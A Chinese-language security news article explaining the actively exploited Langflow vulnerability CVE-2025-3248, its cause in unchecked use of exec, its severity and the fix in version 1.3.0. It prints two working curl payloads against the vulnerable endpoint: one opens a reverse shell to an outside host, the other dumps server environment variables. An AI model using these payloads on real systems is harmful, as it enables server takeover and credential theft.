章
目
录
最近,美国网络安全和基础设施安全局(CISA)发布了一则重要警告,一个编号为CVE-2025-3248的漏洞,正在被黑客们广泛利用,而遭受攻击的对象,就是一款在AI领域很火的工具——Langflow。CISA甚至把这个漏洞,加到了已知可利用漏洞(KEV)目录里,可见问题的严重性。
Langflow是什么?
Langflow是一款基于Python开发的平台,它最大的亮点,就是能让用户通过可视化界面,轻松搭建AI代理和工作流。简单来说,就算你不太懂复杂的代码,也能像搭积木一样,用它构建出各种AI应用。也正因为这个优势,Langflow收获了一大批用户,在行业内相当受欢迎。
漏洞是怎么被发现的?
这个漏洞是Horizon3.ai的安全研究员Naveen Sunkavally发现的。别看Langflow功能强大,它却存在一个严重的安全隐患——身份验证缺失漏洞。
具体出问题的地方,是一个叫/api/v1/validate/code的API接口。正常情况下,Langflow允许经过身份验证的用户修改和执行Python代码,方便大家按照自己的需求定制AI功能。但这个漏洞,却让未经身份验证的攻击者钻了空子。
这个API接口在处理用户输入的时候,用了Python的exec函数。exec函数本来是个很方便的工具,但在这里却成了“帮凶”。因为它没有对用户输入进行严格的检查,导致攻击者能把恶意代码藏在装饰器或者函数的默认参数里。一旦成功注入,就能实现远程代码执行,就像是黑客在你的电脑里装了个“监控摄像头”,能随意操控你的系统。
漏洞危害有多大?
这个漏洞的危害可不小,它的CVSS评分高达9.8,属于严重级别。举个例子,黑客只要用一行代码,就能获取Langflow服务器的环境变量。环境变量里可能存着重要的登录凭据,一旦泄露,后果不堪设想。服务器会被黑客完全控制,数据泄露、系统瘫痪这些问题都可能接踵而至。
比如下面这段代码:
# 向指定的Langflow服务器API端点发送POST请求,试图执行恶意代码
curl -X POST -H 'Content-Type: application/json' http://10.0.220.200:8000/api/v1/validate/code -d '{"code": "@exec(\"import socket, os,pty;s=socket.socket(socket.AF_INET,socket.SOck_STREAM);s.connect((\\\"10.0.220.201\\\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);pty.spawn(\\\"/bin/sh\\")\")\ndef foo():\n pass"}'
这行代码里,黑客通过发送恶意请求,试图在服务器上建立一个反向Shell连接。一旦成功,黑客就能像在自己电脑上一样,随意操作服务器,查看文件、窃取数据,甚至进行破坏。
还有更简单的代码,能直接获取服务器环境变量:
# 发送请求获取Langflow服务器环境变量,若成功可能导致敏感信息泄露
curl -X POST -H 'Content-Type: application/json' http://10.0.220.200:8000/api/v1/validate/code -d '{"code": "@exec(\"raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env\\\"))\")\\ndef foo():\\n pass"}'
如何检测和修复漏洞?
好在,Horizon3.ai发布了Nuclei检测模板,安全研究人员可以用它来检查Langflow实例是否存在漏洞。这个模板主要是通过查看/etc/passwd文件的内容,来判断服务器是否安全。
Langflow官方也已经行动起来,在1.3.0版本中修复了这个漏洞。为了保障网络安全,CISA给联邦民事行政部门(FCEB)各机构下了指令,要求在2025年5月26日之前,安装好相关补丁,避免遭受攻击。